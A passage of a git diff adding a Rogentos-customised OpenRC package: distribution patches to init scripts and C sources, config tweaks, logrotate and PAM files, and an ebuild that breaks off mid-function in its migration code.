+diff -Nurp openrc-0.5.3.orig/sh/rc-functions.sh.in openrc-0.5.3/sh/rc-functions.sh.in
+--- openrc-0.5.3.orig/sh/rc-functions.sh.in	2009-12-02 20:08:02.000000000 +0100
++++ openrc-0.5.3/sh/rc-functions.sh.in	2009-12-26 05:42:17.000000000 +0100
+@@ -18,10 +18,10 @@ _addon_warn()
+ import_addon()
+ {
+ 	if [ -e /@LIB@/rc/addons/"$1".sh ]; then
+-		_addon_warn
++		# _addon_warn
+ 		. /@LIB@/rc/addons/"$1".sh
+ 	elif [ -e /@LIB@/rcscripts/addons/"$1".sh ]; then
+-		_addon_warn
++		# _addon_warn
+ 		. /@LIB@/rcscripts/addons/"$1".sh
+ 	else
+ 		return 1
diff --git a/sys-apps/openrc/files/openrc-0.6.1-fix-clockskew-error-handling.patch b/sys-apps/openrc/files/openrc-0.6.1-fix-clockskew-error-handling.patch
new file mode 100644
index 00000000..2b666767
--- /dev/null
+++ b/sys-apps/openrc/files/openrc-0.6.1-fix-clockskew-error-handling.patch
@@ -0,0 +1,12 @@
+diff -Naur openrc-0.6.1.a/init.d/savecache.in openrc-0.6.1.b/init.d/savecache.in
+--- openrc-0.6.1.a/init.d/savecache.in	2010-03-22 15:02:12.000000000 -0500
++++ openrc-0.6.1.b/init.d/savecache.in	2010-07-13 13:56:47.000000000 -0500
+@@ -10,7 +10,7 @@
+ 		ewarn "WARNING: clock skew detected!"
+ 		if ! yesno "savecache_skewed"; then
+ 			eerror "Not saving deptree cache"
+-			return 1
++			return 0
+ 		fi
+ 	fi
+ 	ebegin "Saving dependency cache"
diff --git a/sys-apps/openrc/files/openrc-0.6.1-network-syntax.patch b/sys-apps/openrc/files/openrc-0.6.1-network-syntax.patch
new file mode 100644
index 00000000..534a8899
--- /dev/null
+++ b/sys-apps/openrc/files/openrc-0.6.1-network-syntax.patch
@@ -0,0 +1,14 @@
+https://bugs.gentoo.org/310805
+
+patch by Lars Wendler
+
+--- openrc-0.6.1/init.d/network.in
++++ openrc-0.6.1/init.d/network.in
+@@ -74,6 +74,7 @@
+ 			esac
+ 		done
+ 		[ $? = 2 ]
++		;;
+ 	*)
+ 		local inet= address= rest=
+ 		LC_ALL=C ifconfig -a | while read inet address rest; do
diff --git a/sys-apps/openrc/files/openrc-0.8.3-ccwgroup.patch b/sys-apps/openrc/files/openrc-0.8.3-ccwgroup.patch
new file mode 100644
index 00000000..14ecd5f8
--- /dev/null
+++ b/sys-apps/openrc/files/openrc-0.8.3-ccwgroup.patch
@@ -0,0 +1,57 @@
+From c427d3c1fec89f6a9281dccdc123bad73af80804 Mon Sep 17 00:00:00 2001
+From: Mike Frysinger <vapier@gentoo.org>
+Date: Tue, 28 Jun 2011 00:02:11 -0400
+Subject: [PATCH] net: ccwgroup: smooth up/down process
+
+We need to bring the link up ourselves after we've properly configured
+the device.  The common code tries to bring the link up itself, but it
+does so before things are configured, and so it ends up failing.
+
+When shutting down, we need to wait for the kernel to finish destroying
+the interface.  Otherwise, when doing a restart, openrc is quick enough
+to tell the kernel to destroy things, but then start trying to bring it
+back up before the kernel has finished.
+
+X-Gentoo-Bug: 367467
+X-Gentoo-Bug-URL: http://bugs.gentoo.org/367467
+Signed-off-by: Mike Frysinger <vapier@gentoo.org>
+---
+ net/ccwgroup.sh |   14 ++++++++++++--
+ 1 files changed, 12 insertions(+), 2 deletions(-)
+
+diff --git a/net/ccwgroup.sh b/net/ccwgroup.sh
+index 248b159..60cd25f 100644
+--- a/net/ccwgroup.sh
++++ b/net/ccwgroup.sh
+@@ -58,6 +58,11 @@ ccwgroup_pre_start()
+ 		echo "${val}" > /sys/devices/${ccw_type}/${first}/${var}
+ 	done
+ 	eend $?
++
++	# Now that we've properly configured the device, we can run
++	# bring the interface up.  Common code tried to do this already,
++	# but it failed because we didn't setup sysfs yet.
++	_up
+ }
+ 
+ ccwgroup_pre_stop()
+@@ -88,9 +93,14 @@ ccwgroup_post_stop()
+ 	local device="$(service_get_value ccwgroup_device)"
+ 	[ -z "${device}" ] && return 0
+ 	local ccw_type="$(service_get_value ccwgroup_type)"
++	local path="/sys/devices/${ccw_type}/${device}"
+ 
+ 	einfo "Disabling ccwgroup/${ccw_type} on ${IFACE}"
+-	echo "0" >/sys/devices/${ccw_type}/"${device}"/online
+-	echo "1" >/sys/devices/${ccw_type}/"${device}"/ungroup
++	if echo "0" >"${path}"/online &&
++	   echo "1" >"${path}"/ungroup ; then
++		# The device doesn't disappear right away which breaks
++		# restart, or a quick start up, so wait around.
++		while [ -e "${path}" ] ; do :; done
++	fi
+ 	eend $?
+ }
+-- 
+1.7.5.3
+
diff --git a/sys-apps/openrc/files/openrc-0.8.3-deprecation_warning.patch b/sys-apps/openrc/files/openrc-0.8.3-deprecation_warning.patch
new file mode 100644
index 00000000..1aa7315b
--- /dev/null
+++ b/sys-apps/openrc/files/openrc-0.8.3-deprecation_warning.patch
@@ -0,0 +1,33 @@
+From 24ba7955634dd571a4c34dd712dc8a592eea4d73 Mon Sep 17 00:00:00 2001
+From: Joe Harvell <jharvell@dogpad.net>
+Date: Mon, 27 Jun 2011 23:20:47 +0200
+Subject: [PATCH] Only print the deprecation warning for --chuid/-c when using it
+
+The deprecation warning has been printed when using the replecement functions as
+well, bug 373243.
+---
+ src/rc/start-stop-daemon.c |    5 ++---
+ 1 files changed, 2 insertions(+), 3 deletions(-)
+
+diff --git a/src/rc/start-stop-daemon.c b/src/rc/start-stop-daemon.c
+index b5c2b6e..3017701 100644
+--- a/src/rc/start-stop-daemon.c
++++ b/src/rc/start-stop-daemon.c
+@@ -788,12 +788,11 @@ start_stop_daemon(int argc, char **argv)
+ 			background = true;
+ 			break;
+ 
+-		case 'u':  /* --user <username>|<uid> */
+ 		case 'c':  /* --chuid <username>|<uid> */
+-		{
+ 			/* DEPRECATED */
+ 			ewarn("WARNING: -c/--chuid is deprecated and will be removed in the future, please use -u/--user instead");
+-
++		case 'u':  /* --user <username>|<uid> */
++		{
+ 			p = optarg;
+ 			tmp = strsep(&p, ":");
+ 			changeuser = xstrdup(tmp);
+-- 
+1.7.3.4
+
diff --git a/sys-apps/openrc/files/openrc-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch b/sys-apps/openrc/files/openrc-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch
new file mode 100644
index 00000000..b520b34c
--- /dev/null
+++ b/sys-apps/openrc/files/openrc-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch
@@ -0,0 +1,25 @@
+During boot, if /lib64/rc/init.d/ is a tmpfs mount
+and rc.log can be either unavailable or no longer
+available at some point in the future.
+This patch makes rc-logger deal with ENOENT if
+rc.log cannot be opened for reading.
+--- openrc-0.9.9.3.orig/src/rc/rc-logger.c
++++ openrc-0.9.9.3/src/rc/rc-logger.c
+@@ -268,7 +268,7 @@ rc_logger_open(const char *level)
+ 						break;
+ 					}
+ 				}
+-			} else {
++			} else if (errno != ENOENT) {
+ 				log_error = 1;
+ 				eerror("Error: fopen(%s) failed: %s", TMPLOG, strerror(errno));
+ 			}
+@@ -280,7 +280,7 @@ rc_logger_open(const char *level)
+ 			 * logfile or its basedir may be read-only during sysinit and
+ 			 * shutdown so skip the error in this case
+ 			 */
+-			if (errno != EROFS && ((strcmp(level, RC_LEVEL_SHUTDOWN) != 0) && (strcmp(level, RC_LEVEL_SYSINIT) != 0))) {
++			if (errno != EROFS && errno != ENOENT && ((strcmp(level, RC_LEVEL_SHUTDOWN) != 0) && (strcmp(level, RC_LEVEL_SYSINIT) != 0))) {
+ 				log_error = 1;
+ 				eerror("Error: fopen(%s) failed: %s", logfile, strerror(errno));
+ 			}
diff --git a/sys-apps/openrc/files/openrc-9999-pause.patch b/sys-apps/openrc/files/openrc-9999-pause.patch
new file mode 100644
index 00000000..bf2c94f8
--- /dev/null
+++ b/sys-apps/openrc/files/openrc-9999-pause.patch
@@ -0,0 +1,29 @@
+From e82772a6b6d4374e81b7e19a593ffdef16753418 Mon Sep 17 00:00:00 2001
+From: Mike Frysinger <vapier@gentoo.org>
+Date: Mon, 21 Dec 2009 09:02:35 -0500
+Subject: [PATCH] restore init.d pause option
+
+---
+ src/rc/runscript.c |    6 ++++++
+ 1 files changed, 6 insertions(+), 0 deletions(-)
+
+diff --git a/src/rc/runscript.c b/src/rc/runscript.c
+index 5939dae..7147902 100644
+--- a/src/rc/runscript.c
++++ b/src/rc/runscript.c
+@@ -1316,6 +1316,12 @@ runscript(int argc, char **argv)
+ 			prefix = NULL;
+ 			retval = svc_exec("status", NULL);
+ 		} else {
++			if (strcmp(optarg, "pause") == 0) {
++				ewarn("WARNING: 'pause' is deprecated; please use '--nodeps stop'");
++				deps = false;
++				optarg = "stop";
++			}
++
+ 			if (strcmp(optarg, "conditionalrestart") == 0 ||
+ 			    strcmp(optarg, "condrestart") == 0)
+ 			{
+-- 
+1.6.6.rc3
+
diff --git a/sys-apps/openrc/files/openrc-enable-interactive-2.patch b/sys-apps/openrc/files/openrc-enable-interactive-2.patch
new file mode 100644
index 00000000..cd56586d
--- /dev/null
+++ b/sys-apps/openrc/files/openrc-enable-interactive-2.patch
@@ -0,0 +1,11 @@
+--- openrc-0.9.8.1.orig//etc/rc.conf.in
++++ openrc-0.9.8.1/etc/rc.conf.in
+@@ -3,7 +3,7 @@
+ # Set rc_interactive to "YES" and you'll be able to press the I key during
+ # boot so you can choose to start specific services. Set to "NO" to disable
+ # this feature.
+-#rc_interactive="YES"
++rc_interactive="YES"
+ 
+ # If we need to drop to a shell, you can specify it here.
+ # If not specified we use $SHELL, otherwise the one specified in /etc/passwd,
diff --git a/sys-apps/openrc/files/openrc-enable-interactive.patch b/sys-apps/openrc/files/openrc-enable-interactive.patch
new file mode 100644
index 00000000..783c3567
--- /dev/null
+++ b/sys-apps/openrc/files/openrc-enable-interactive.patch
@@ -0,0 +1,11 @@
+--- openrc-0.6.8.orig/etc/rc.conf.in
++++ openrc-0.6.8/etc/rc.conf.in
+@@ -13,7 +13,7 @@
+ # boot so you can choose to start specific services. Set to "NO" to disable
+ # this feature. This feature is automatically disabled if rc_parallel is
+ # set to YES.
+-#rc_interactive="YES"
++rc_interactive="YES"
+ 
+ # If we need to drop to a shell, you can specify it here.
+ # If not specified we use $SHELL, otherwise the one specified in /etc/passwd,
diff --git a/sys-apps/openrc/files/openrc-netmount-fix.patch b/sys-apps/openrc/files/openrc-netmount-fix.patch
new file mode 100644
index 00000000..8e6b3686
--- /dev/null
+++ b/sys-apps/openrc/files/openrc-netmount-fix.patch
@@ -0,0 +1,11 @@
+--- openrc-0.5.3.orig/init.d/netmount.in
++++ openrc-0.5.3/init.d/netmount.in
+@@ -80,7 +80,7 @@ stop()
+ 		fs="$fs${fs:+,}$x"
+ 	done
+ 	if [ -n "$fs" ]; then
+-		umount -at $fs || eerror "Failed to simply unmount filesystems"
++		umount -at $fs || umount -atl $fs || eerror "Failed to simply unmount filesystems"
+ 	fi
+ 
+ 	eindent
diff --git a/sys-apps/openrc/files/openrc-protect-rcsvcdir-for-symlink.patch b/sys-apps/openrc/files/openrc-protect-rcsvcdir-for-symlink.patch
new file mode 100644
index 00000000..a202aeac
--- /dev/null
+++ b/sys-apps/openrc/files/openrc-protect-rcsvcdir-for-symlink.patch
@@ -0,0 +1,30 @@
+diff -Naur a/openrc-0.6.0/init.d/localmount.in b/openrc-0.6.0/init.d/localmount.in
+--- a/openrc-0.6.0/init.d/localmount.in	2009-12-21 09:30:17.000000000 -0600
++++ b/openrc-0.6.0/init.d/localmount.in	2010-03-09 10:53:53.000000000 -0600
+@@ -32,6 +32,11 @@
+ 	# We never unmount / or /dev or $RC_SVCDIR
+ 	local x= no_umounts_r="/|/dev|/dev/.*|${RC_SVCDIR}"
+ 	no_umounts_r="${no_umounts_r}|/bin|/sbin|/lib|/libexec"
++
++	# In case $RC_SVCDIR tries to unmount due to lib64
++	# symlink configuration, we cd to it to lock it
++	cd "$RC_SVCDIR"
++
+ 	# RC_NO_UMOUNTS is an env var that can be set by plugins
+ 	OIFS=$IFS SIFS=${IFS-y}
+ 	IFS=$IFS:
+diff -Naur a/openrc-0.6.0/init.d/mount-ro.in b/openrc-0.6.0/init.d/mount-ro.in
+--- a/openrc-0.6.0/init.d/mount-ro.in	2009-12-21 09:30:17.000000000 -0600
++++ b/openrc-0.6.0/init.d/mount-ro.in	2010-03-09 10:56:25.000000000 -0600
+@@ -16,6 +16,11 @@
+ 	sync; sync
+ 
+ 	ebegin "Remounting remaining filesystems read-only"
++
++	# cd to $RC_SVCDIR it to lock it in case of incorrect
++	# assumptions about lib64 symlink configuration.
++	cd "$RC_SVCDIR"
++
+ 	# We need the do_unmount function
+ 	. "$RC_LIBEXECDIR"/sh/rc-mount.sh
+ 	eindent
diff --git a/sys-apps/openrc/files/openrc-sabayon-config-2.patch b/sys-apps/openrc/files/openrc-sabayon-config-2.patch
new file mode 100644
index 00000000..7e392460
--- /dev/null
+++ b/sys-apps/openrc/files/openrc-sabayon-config-2.patch
@@ -0,0 +1,31 @@
+diff -Nurp openrc-0.9.9.3.orig/conf.d/hwclock openrc-0.9.9.3/conf.d/hwclock
+--- openrc-0.9.9.3.orig/conf.d/hwclock	2012-03-11 21:04:51.000000000 +0100
++++ openrc-0.9.9.3/conf.d/hwclock	2012-04-19 18:50:12.000000000 +0200
+@@ -2,7 +2,7 @@
+ # Greenwich Mean Time).  If that clock is set to the local time, then
+ # set CLOCK to "local".  Note that if you dual boot with Windows, then
+ # you should set it to "local".
+-clock="UTC"
++clock="local"
+ 
+ # If you want the hwclock script to set the system time (software clock)
+ # to match the current hardware clock during bootup, leave this
+diff -Nurp openrc-0.9.9.3.orig/etc/rc.conf.in openrc-0.9.9.3/etc/rc.conf.in
+--- openrc-0.9.9.3.orig/etc/rc.conf.in	2012-03-11 21:04:51.000000000 +0100
++++ openrc-0.9.9.3/etc/rc.conf.in	2012-04-19 18:49:46.000000000 +0200
+@@ -39,13 +39,13 @@
+ # This allows net.wlan and any service not matching net.* to be plugged.
+ # Example - rc_hotplug="*"
+ # This allows all services to be hotplugged
+-#rc_hotplug="*"
++rc_hotplug="!net.*"
+ 
+ # rc_logger launches a logging daemon to log the entire rc process to
+ # /var/log/rc.log
+ # NOTE: Linux systems require the devfs service to be started before
+ # logging can take place and as such cannot log the sysinit runlevel.
+-#rc_logger="YES"
++rc_logger="YES"
+ 
+ # Through rc_log_path you can specify a custom log file.
+ # The default value is: /var/log/rc.log
diff --git a/sys-apps/openrc/files/openrc-sabayon-config.patch b/sys-apps/openrc/files/openrc-sabayon-config.patch
new file mode 100644
index 00000000..440171f9
--- /dev/null
+++ b/sys-apps/openrc/files/openrc-sabayon-config.patch
@@ -0,0 +1,35 @@
+--- openrc-0.5.3.orig/conf.d/hwclock
++++ openrc-0.5.3/conf.d/hwclock
+@@ -2,12 +2,12 @@
+ # Greenwich Mean Time).  If that clock is set to the local time, then 
+ # set CLOCK to "local".  Note that if you dual boot with Windows, then 
+ # you should set it to "local".
+-clock="UTC"
++clock="local"
+ 
+ # If you want to set the Hardware Clock to the current System Time 
+ # (software clock) during shutdown, then say "YES" here.
+ # You normally don't need to do this if you run a ntp daemon.
+-clock_systohc="NO"
++clock_systohc="YES"
+ 
+ # If you wish to pass any other arguments to hwclock during bootup,
+ # you may do so here. Alpha users may wish to use --arc or --srm here.
+--- openrc-0.5.3.orig/etc/rc.conf.in
++++ openrc-0.5.3/etc/rc.conf.in
+@@ -38,13 +38,13 @@
+ # This allows net.wlan and any service not matching net.* to be plugged.
+ # Example - rc_hotplug="*"
+ # This allows all services to be hotplugged
+-#rc_hotplug="*"
++rc_hotplug="!net.*"
+ 
+ # rc_logger launches a logging daemon to log the entire rc process to
+ # /var/log/rc.log
+ # NOTE: Linux systems require the devfs service to be started before
+ # logging can take place and as such cannot log the sysinit runlevel.
+-#rc_logger="YES"
++rc_logger="YES"
+ 
+ # By default we filter the environment for our running scripts. To allow other
+ # variables through, add them here. Use a * to allow all variables through.
diff --git a/sys-apps/openrc/files/openrc.logrotate b/sys-apps/openrc/files/openrc.logrotate
new file mode 100644
index 00000000..a168f236
--- /dev/null
+++ b/sys-apps/openrc/files/openrc.logrotate
@@ -0,0 +1,7 @@
+/var/log/rc.log {
+	compress
+	rotate 4
+	weekly
+	missingok
+	notifempty
+}
diff --git a/sys-apps/openrc/files/start-stop-daemon.pam b/sys-apps/openrc/files/start-stop-daemon.pam
new file mode 100644
index 00000000..2127f6a7
--- /dev/null
+++ b/sys-apps/openrc/files/start-stop-daemon.pam
@@ -0,0 +1,2 @@
+account required pam_permit.so
+session include system-services
diff --git a/sys-apps/openrc/metadata.xml b/sys-apps/openrc/metadata.xml
new file mode 100644
index 00000000..2b127ba5
--- /dev/null
+++ b/sys-apps/openrc/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>openrc</herd>
+</pkgmetadata>
diff --git a/sys-apps/openrc/openrc-0.10.5.ebuild b/sys-apps/openrc/openrc-0.10.5.ebuild
new file mode 100644
index 00000000..a48cb922
--- /dev/null
+++ b/sys-apps/openrc/openrc-0.10.5.ebuild
@@ -0,0 +1,471 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-apps/openrc/openrc-0.10.5.ebuild,v 1.1 2012/07/04 14:36:33 williamh Exp $
+
+EAPI=4
+
+EGIT_REPO_URI="git://git.overlays.gentoo.org/proj/${PN}.git"
+[[ ${PV} == "9999" ]] && SCM_ECLASS="git-2"
+inherit eutils flag-o-matic multilib pam toolchain-funcs ${SCM_ECLASS}
+unset SCM_ECLASS
+
+DESCRIPTION="OpenRC manages the services, startup and shutdown of a host"
+HOMEPAGE="http://www.gentoo.org/proj/en/base/openrc/"
+if [[ ${PV} != "9999" ]] ; then
+	SRC_URI="mirror://gentoo/${P}.tar.bz2"
+	KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd"
+fi
+
+LICENSE="BSD-2"
+SLOT="0"
+IUSE="debug elibc_glibc ncurses pam selinux static-libs unicode kernel_linux kernel_FreeBSD"
+
+RDEPEND="virtual/init
+	kernel_FreeBSD? ( || ( >=sys-freebsd/freebsd-ubin-9.0_rc sys-process/fuser-bsd ) )
+	elibc_glibc? ( >=sys-libs/glibc-2.5 )
+	ncurses? ( sys-libs/ncurses )
+	pam? ( sys-auth/pambase )
+	>=sys-apps/baselayout-2.1-r1
+	kernel_linux? (
+		sys-process/psmisc
+	)
+	!<sys-fs/udev-133"
+DEPEND="${RDEPEND}
+	virtual/os-headers"
+
+make_args() {
+	unset LIBDIR #266688
+
+	MAKE_ARGS="${MAKE_ARGS} LIBNAME=$(get_libdir) LIBEXECDIR=/$(get_libdir)/rc"
+
+	local brand="Unknown"
+	if use kernel_linux ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=Linux"
+		brand="Linux"
+	elif use kernel_FreeBSD ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=FreeBSD"
+		brand="FreeBSD"
+	fi
+	if use selinux; then
+			MAKE_ARGS="${MAKE_ARGS} MKSELINUX=yes"
+	fi
+	export BRANDING="Rogento ${brand}"
+	if ! use static-libs; then
+			MAKE_ARGS="${MAKE_ARGS} MKSTATICLIBS=no"
+	fi
+}
+
+pkg_setup() {
+	export DEBUG=$(usev debug)
+	export MKPAM=$(usev pam)
+	export MKTERMCAP=$(usev ncurses)
+}
+
+src_prepare() {
+	sed -i 's:0444:0644:' mk/sys.mk || die
+	sed -i "/^DIR/s:/openrc:/${PF}:" doc/Makefile || die #241342
+
+	if [[ ${PV} == "9999" ]] ; then
+		local ver="git-${EGIT_VERSION:0:6}"
+		sed -i "/^GITVER[[:space:]]*=/s:=.*:=${ver}:" mk/git.mk || die
+	fi
+
+	# Allow user patches to be applied without modifying the ebuild
+	epatch_user
+
+	# Rogentos custom config
+	epatch "${FILESDIR}/${PN}-sabayon-config-2.patch"
+	epatch "${FILESDIR}"/${PN}-0.5.3-disable_warns_until_migrated.patch
+	epatch "${FILESDIR}/${PN}-netmount-fix.patch"
+	epatch "${FILESDIR}/${PN}-0.6.1-fix-clockskew-error-handling.patch"
+
+	# Rogentos bug fixes
+	epatch "${FILESDIR}/${PN}-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch"
+}
+
+src_compile() {
+	make_args
+
+	tc-export CC AR RANLIB
+	emake ${MAKE_ARGS}
+}
+
+# set_config <file> <option name> <yes value> <no value> test
+# a value of "#" will just comment out the option
+set_config() {
+	local file="${D}/$1" var=$2 val com
+	eval "${@:5}" && val=$3 || val=$4
+	[[ ${val} == "#" ]] && com="#" && val='\2'
+	sed -i -r -e "/^#?${var}=/{s:=([\"'])?([^ ]*)\1?:=\1${val}\1:;s:^#?:${com}:}" "${file}"
+}
+
+set_config_yes_no() {
+	set_config "$1" "$2" YES NO "${@:3}"
+}
+
+src_install() {
+	make_args
+	emake ${MAKE_ARGS} DESTDIR="${D}" install
+
+	# move the shared libs back to /usr so ldscript can install
+	# more of a minimal set of files
+	# disabled for now due to #270646
+	#mv "${D}"/$(get_libdir)/lib{einfo,rc}* "${D}"/usr/$(get_libdir)/ || die
+	#gen_usr_ldscript -a einfo rc
+	gen_usr_ldscript libeinfo.so
+	gen_usr_ldscript librc.so
+
+	if ! use kernel_linux; then
+		keepdir /$(get_libdir)/rc/init.d
+	fi
+	keepdir /$(get_libdir)/rc/tmp
+
+	# Backup our default runlevels
+	dodir /usr/share/"${PN}"
+	cp -PR "${D}"/etc/runlevels "${D}"/usr/share/${PN} || die
+	rm -rf "${D}"/etc/runlevels
+
+	# Install the default net configuration
+	doconfd conf.d/net
+
+	# Setup unicode defaults for silly unicode users
+	set_config_yes_no /etc/rc.conf unicode use unicode
+
+	# Cater to the norm
+	set_config_yes_no /etc/conf.d/keymaps windowkeys '(' use x86 '||' use amd64 ')'
+
+	# On HPPA, do not run consolefont by default (bug #222889)
+	if use hppa; then
+		rm -f "${D}"/usr/share/openrc/runlevels/boot/consolefont
+	fi
+
+	# Support for logfile rotation
+	insinto /etc/logrotate.d
+	newins "${FILESDIR}"/openrc.logrotate openrc
+
+	# Rogentos customization, do not bug user with annoying updates (for now)
+	mv "${D}"/etc/conf.d/keymaps "${D}"/etc/conf.d/keymaps.example || \
+		die "cannot move keymaps"
+	mv "${D}"/etc/conf.d/hwclock "${D}"/etc/conf.d/hwclock.example || \
+		die "cannot move hwclock"
+
+	# install the gentoo pam.d file
+	newpamd "${FILESDIR}"/start-stop-daemon.pam start-stop-daemon
+}
+
+add_boot_init() {
+	local initd=$1
+	local runlevel=${2:-boot}
+	# if the initscript is not going to be installed and is not
+	# currently installed, return
+	[[ -e ${D}/etc/init.d/${initd} || -e ${ROOT}/etc/init.d/${initd} ]] \
+		|| return
+	[[ -e ${ROOT}/etc/runlevels/${runlevel}/${initd} ]] && return
+
+	# if runlevels dont exist just yet, then create it but still flag
+	# to pkg_postinst that it needs real setup #277323
+	if [[ ! -d ${ROOT}/etc/runlevels/${runlevel} ]] ; then
+		mkdir -p "${ROOT}"/etc/runlevels/${runlevel}
+		touch "${ROOT}"/etc/runlevels/.add_boot_init.created
+	fi
+
+	elog "Auto-adding '${initd}' service to your ${runlevel} runlevel"
+	ln -snf /etc/init.d/${initd} "${ROOT}"/etc/runlevels/${runlevel}/${initd}
+}
+add_boot_init_mit_config() {
+	local config=$1 initd=$2
+	if [[ -e ${ROOT}${config} ]] ; then
+		if [[ -n $(sed -e 's:#.*::' -e '/^[[:space:]]*$/d' "${ROOT}"/${config}) ]] ; then
+			add_boot_init ${initd}
+		fi
+	fi
+}
+
+pkg_preinst() {
+	local conf_file
+	# Rogentos customization, still protect conf files from being removed
+	# as no longer owned by package
+	for conf_file in "${ROOT}/etc/conf.d/keymaps" "${ROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}" ]; then
+			cp -p "${conf_file}" "${conf_file}.ebuild_preserved" # don't die
+		fi
+	done
+
+	local f LIBDIR=$(get_libdir)
+
+	# default net script is just comments, so no point in biting people
+	# in the ass by accident.  we save in preinst so that the package
+	# manager doesnt go throwing etc-update crap at us -- postinst is
+	# too late to prevent that.  this behavior also lets us keep the
+	# file in the CONTENTS for binary packages.
+	[[ -e ${ROOT}/etc/conf.d/net ]] && cp "${ROOT}"/etc/conf.d/net "${D}"/etc/conf.d/
+
+	# avoid default thrashing in conf.d files when possible #295406
+	if [[ -e ${ROOT}/etc/conf.d/hostname ]] ; then
+		(
+		unset hostname HOSTNAME
+		source "${ROOT}"/etc/conf.d/hostname
+		: ${hostname:=${HOSTNAME}}
+		[[ -n ${hostname} ]] && set_config /etc/conf.d/hostname hostname "${hostname}"
+		)
+	fi
+
+	# upgrade timezone file ... do it before moving clock
+	if [[ -e ${ROOT}/etc/conf.d/clock && ! -e ${ROOT}/etc/timezone ]] ; then
+		(
+		unset TIMEZONE
+		source "${ROOT}"/etc/conf.d/clock
+		[[ -n ${TIMEZONE} ]] && echo "${TIMEZONE}" > "${ROOT}"/etc/timezone
+		)
+	fi
+
+	# /etc/conf.d/clock moved to /etc/conf.d/hwclock
+	local clock
+	use kernel_FreeBSD && clock="adjkerntz" || clock="hwclock"
+	if [[ -e ${ROOT}/etc/conf.d/clock ]] ; then
+		mv "${ROOT}"/etc/conf.d/clock "${ROOT}"/etc/conf.d/${clock}
+	fi
+	if [[ -e ${ROOT}/etc/init.d/clock ]] ; then
+		rm -f "${ROOT}"/etc/init.d/clock
+	fi
+	if [[ -L ${ROOT}/etc/runlevels/boot/clock ]] ; then
+		rm -f "${ROOT}"/etc/runlevels/boot/clock
+		ln -snf /etc/init.d/${clock} "${ROOT}"/etc/runlevels/boot/${clock}
+	fi
+	if [[ -L ${ROOT}${LIBDIR}/rc/init.d/started/clock ]] ; then
+		rm -f "${ROOT}${LIBDIR}"/rc/init.d/started/clock
+		ln -snf /etc/init.d/${clock} "${ROOT}${LIBDIR}"/rc/init.d/started/${clock}
+	fi
+
+	# /etc/conf.d/rc is no longer used for configuration
+	if [[ -e ${ROOT}/etc/conf.d/rc ]] ; then
+		elog "/etc/conf.d/rc is no longer used for configuration."
+		elog "Please migrate your settings to /etc/rc.conf as applicable"
+		elog "and delete /etc/conf.d/rc"
+	fi
+
+	# force net init.d scripts into symlinks
+	for f in "${ROOT}"/etc/init.d/net.* ; do
+		[[ -e ${f} ]] || continue # catch net.* not matching anything
+		[[ ${f} == */net.lo ]] && continue # real file now
+		[[ ${f} == *.openrc.bak ]] && continue
+		if [[ ! -L ${f} ]] ; then
+			elog "Moved net service '${f##*/}' to '${f##*/}.openrc.bak' to force a symlink."
+			elog "You should delete '${f##*/}.openrc.bak' if you don't need it."
+			mv "${f}" "${f}.openrc.bak"
+			ln -snf net.lo "${f}"
+		fi
+	done
+
+	# termencoding was added in 0.2.1 and needed in boot
+	has_version ">=sys-apps/openrc-0.2.1" || add_boot_init termencoding
+
+	# swapfiles was added in 0.9.9 and needed in boot (february 2012)
+	has_version ">=sys-apps/openrc-0.9.9" || add_boot_init swapfiles
+
+	# set default interactive shell to sulogin if it exists
+	set_config /etc/rc.conf rc_shell /sbin/sulogin "#" test -e /sbin/sulogin
+
+	has_version sys-apps/openrc || migrate_from_baselayout_1
+	has_version ">=sys-apps/openrc-0.4.0" || migrate_udev_init_script
+}
+
+# >=openrc-0.4.0 no longer loads the udev addon
+migrate_udev_init_script() {
+	# make sure udev is in sysinit if it was enabled before
+	local enable_udev=false
+	local rc_devices=$(
+		[[ -f /etc/rc.conf ]] && source /etc/rc.conf
+		[[ -f /etc/conf.d/rc ]] && source /etc/conf.d/rc
+		echo "${rc_devices:-${RC_DEVICES:-auto}}"
+	)
+	case ${rc_devices} in
+		udev|auto)
+			enable_udev=true
+			;;
+	esac
+
+	if $enable_udev; then
+		add_boot_init udev sysinit
+		add_boot_init udev-postmount default
+	fi
+}
+
+migrate_from_baselayout_1() {
+	# baselayout boot init scripts have been split out
+	for f in $(cd "${D}"/usr/share/${PN}/runlevels/boot || exit; echo *) ; do
+		# baselayout-1 is always "old" net, so ignore "new" net
+		[[ ${f} == "network" ]] && continue
+
+		add_boot_init ${f}
+	done
+
+	# Try to auto-add some addons when possible
+	add_boot_init_mit_config /etc/conf.d/cryptfs dmcrypt
+	add_boot_init_mit_config /etc/conf.d/dmcrypt dmcrypt
+	add_boot_init_mit_config /etc/mdadm.conf mdraid
+	add_boot_init_mit_config /etc/evms.conf evms
+	[[ -e ${ROOT}/sbin/dmsetup ]] && add_boot_init device-mapper
+	[[ -e ${ROOT}/sbin/vgscan ]] && add_boot_init lvm
+	elog "Add on services (such as RAID/dmcrypt/LVM/etc...) are now stand alone"
+	elog "init.d scripts.  If you use such a thing, make sure you have the"
+	elog "required init.d scripts added to your boot runlevel."
+
+	# Upgrade our state for baselayout-1 users
+	if [[ ! -e ${ROOT}${LIBDIR}/rc/init.d/started ]] ; then
+		(
+		[[ -e ${ROOT}/etc/conf.d/rc ]] && source "${ROOT}"/etc/conf.d/rc
+		svcdir=${svcdir:-/var/lib/init.d}
+		if [[ ! -d ${ROOT}${svcdir}/started ]] ; then
+			ewarn "No state found, and no state exists"
+			elog "You should reboot this host"
+		else
+			mkdir -p "${ROOT}${LIBDIR}/rc/init.d"
+			einfo "Moving state from ${ROOT}${svcdir} to ${ROOT}${LIBDIR}/rc/init.d"
